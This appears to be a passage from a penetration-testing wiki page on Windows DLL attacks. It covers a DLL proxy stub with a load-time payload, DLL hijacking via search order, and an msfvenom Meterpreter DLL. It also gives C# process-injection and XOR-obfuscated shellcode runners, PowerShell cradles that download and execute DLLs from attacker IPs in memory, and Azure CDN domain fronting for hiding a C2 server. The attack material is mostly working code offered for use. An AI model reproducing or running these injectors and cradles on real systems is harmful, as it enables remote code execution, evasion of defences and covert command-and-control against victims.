#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
